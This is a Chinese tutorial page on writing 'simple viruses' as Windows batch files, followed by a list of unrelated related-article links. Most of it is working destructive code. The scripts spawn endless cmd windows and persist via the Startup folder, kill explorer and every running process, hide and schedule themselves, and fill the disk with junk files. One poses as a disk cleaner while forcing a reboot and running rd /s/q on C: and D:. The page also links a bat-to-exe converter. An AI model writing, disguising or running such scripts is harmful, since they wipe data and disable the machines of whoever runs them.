第三天-01-批处理文件
第三天批处理文件之简单的病毒
一、批处理的作用
自上而下成批地处理每一条命令,直到执行最后一条!即便其中某一行命令执行出错,也继续执行后续命令。
二、创建批处理文件
新建一个记事本文件,然后将扩展名改为.bat。
批处理文件是以cmd执行的可执行文件,双击即可执行。
示例
1. 死循环
start 打开程序,网页,如果后面不加东西,就是打开cmd
语法:
@echo off //屏蔽执行过程,只显示结果
title mytest //程序标题
color 0a //黑色背景,绿色字体
echo ==========================
echo clear your files
echo ==========================
echo. //空行
pause
:a
start
goto a
扩展:可以将死循环添加到启动项
copy %~f0 “%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”:xunhuan
几点说明:
请在虚拟机中win7系统上学习使用,不同系统启动路径不一样。
%~f0:表示当前批处理文件的完整路径。
userprofile:变量,表示当前用户名,用%%表示获取变量值。
有变量及其他符号,需要采用""括起来。
冒号代表命名一个代码段,goto表示跳转到一个代码段。
2. 关闭win7桌面
批处理代码如下:
@echo off
color 0a
taskkill /im explorer.exe /f
echo 完蛋了
ping -n 5 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 吓唬你的
pause
3. win7蓝屏
批处理命令:
强制杀死除了进程号为一的进程
taskkill /f /fi “pid ne 1”
注释:
/f 指定强制终止的进程
/fi 指定筛选的进程
“pid ne 1” 排除进程号为一的进程
补充:批处理操作
隐藏文件:
attrib +sh lanping.bat
规定某个时间定时运行批处理程序
at 16:30 /every:Monday “C:\Users\Administrator\Desktop\lanpin.bat”
注释:
在下午: 16:30 运行
/every 代表指定日期, Monday 是星期一,
在星期一的16:20 分运行 mkdir.bat 这个批处理程序
运行批处理程序要使用绝对路径. 记得用 双引号 括起来。
4. 生成垃圾文件
需要以管理员运行
d: >nul 2>nul //切换至d盘
cd \ >nul 2>nul
fsutil file creatnew d:sys1.ini 102400000
fsutil file creatnew d:sys2.ini 102400000
fsutil file creatnew d:sys3.ini 102400000
fsutil file creatnew d:sys4.ini 102400000
5.分区中的文件全部删除
需要以管理员身份运行
@echo off
echo.
echo 垃圾清理
echo.
echo ==============================
echo.
echo 回车清理磁盘垃圾
pause
color 0a
echo 正在统计计算机的C盘的所有文件…
ping 127.0.0.1 /n 2 >nul
shutdown /r /t 60 /c “本机即将在1分钟后自爆”
#r重启动计算机
#t 指定时间 90秒
#c 注释重启或关闭的原因。
echo 正在统计计算机的D盘的所有文件…
ping 127.0.0.1 /n 2 >nul
echo 正在搜索计算机的磁盘上的私密文件…
echo 已检索完毕完毕 set n=0 :start set /a n+=1
echo 垃圾正在清理
rd d: /s/q >nul 2>nul
rd c: /s/q >nul 2>nul
echo 恭喜您,垃圾清理完毕,按任意键继续。
pause >nul 2>nul
将bat文件转化成exe
下载下转化工具
链接:
https://crm-1254254286.cos.ap-guangzhou.myqcloud.com/1/Bat_To_Exe_Converter_(Installer).exe
第三天-01-批处理文件相关推荐
- “珞珈三号01星”首个卫星影像三维模型!——重建大师最新成果
1月15日11时14分49秒,首颗互联网智能遥感科学实验卫星"珞珈三号01星"承载着"多模""智能""互联"" ...
- 搜索2(一、马的遍历 二、 求细胞数量 三、01迷宫 四、奇怪的电梯 五、海战 六、路障)
搜索2 一.马的遍历 二. 求细胞数量 三.01迷宫 四.奇怪的电梯 五.海战 六.路障 一.马的遍历 题目描述 有一个n*m的棋盘(1<n,m<=400),在某个点上有一个马,要求你计算 ...
- Java常用算法三:01背包问题
文章目录 一.动态规划 1.简介 2.应用场景:背包问题 二.01背包问题 1.1 分析过程 1.2 java实现01背包问题求解 笔记来源: 尚硅谷 一.动态规划 1.简介 动态规划(Dynamic ...
- 王道操作系统___第三章01
文章目录 3.1_1_内存的基础知识 3.1_2_内存管理的概念 3.1_3_覆盖与交换 3.1_4_连续分配管理方式 3.1_5_动态分区分配算法 3.1_6_基本分页存储管理的基本概念 3.1_7 ...
- 发布房源(三)01——进入发布房源组件-history.replace() 方法跳转页面-有缓存数据
发布房源--进入发布房源组件-history.replace() 方法跳转页面-有缓存数据 进入发布房源组件 点击某条搜索结果,进入发布房源组件,同时携带数据 给搜索列表项添加单击事件. 在事件处理程 ...
- java 高并发第三阶段实战_JAVA多线程编程实战视频-第三阶段(共80节)
高并发编程第三阶段01讲 AtomicInteger多线程下测试讲解 高并发编程第三阶段02讲 AtomicInteger API详解,以及CAS算法详细介绍 高并发编程第三阶段03讲 利用CAS构造 ...
- java 高并发第三阶段实战_Java 高并发第三阶段实战---Java并发包深入解析与使用详解...
第三阶段的课程主要围绕着Java并发包的使用,展开详细的介绍,主要内容有1.原子包源码剖析,2.并发包工具类详细介绍,3.线程服务以及Future和callable等详细介绍,4.高并发容器和阻塞容器 ...
- 贪心算法 0-1背包c语言,贪心算法0-1背包问题(算法实验代码).pdf
. 实验三. 0-1 背包问题(贪心算法) 实验代码: #include int max(int a,int b) { if(a>b) return a; else return b; } vo ...
- Java 高并发第三阶段实战---Java并发包深入解析与使用详解
第三阶段的课程主要围绕着Java并发包的使用,展开详细的介绍,主要内容有1.原子包源码剖析,2.并发包工具类详细介绍,3.线程服务以及Future和callable等详细介绍,4.高并发容器和阻塞容器 ...
- 动态规划之01背包问题
满篇都是干货,有详细的注释和代码,请放心观看. 这就是传说中的 01 背包问题,这个问题看到之后主要有两种思路: 一.贪心做法(错误想法) 这道题如果没有学过 01 背包问题的话,很容易想成一个贪心的 ...
最新文章
- 【EASYDOM系列教程】之 DOM 元素树
- ASP.NET Core 中文文档 第二章 指南(4.4)添加 Model
- python读取excel某一行-Python 读取csv的某行
- 台湾游戏企业抢滩大陆 研发成竞争核心
- cacti 忘记密码的方法
- bind配置文件解析
- android setflag找不到_Android面试题4–Activity之Intent的Flag
- mseed读取[2]
- c++程序员面试宝典
- linux系统路由器地址查询,查找路由器登录IP地址指南
- 电脑鼠标双击桌面图标打不开怎么办
- kubernetes中容器(pod)间的通信及环境变量设置
- 显卡的优化以提高计算机性能作用,显卡优化,详细教您如何设置NVIDIA(英伟达)显卡玩游戏性能更高...
- 月考勤报表的TSQL查询
- java severlet 获取当前路径_Java 获取当前路径的方法总结
- python怎么编写对称图案_如何使用opencvpython识别图像的形状是对称的还是不对称的?...
- 动手学强化学习第三章(马尔可夫决策过程)
- 139邮箱smtp地址和端口_wordpress建站如何用SMTP配置邮件通知
- mvp产品概念_MVP概念以及为什么需要它
- 一建有什么刷题软件,怎么备考?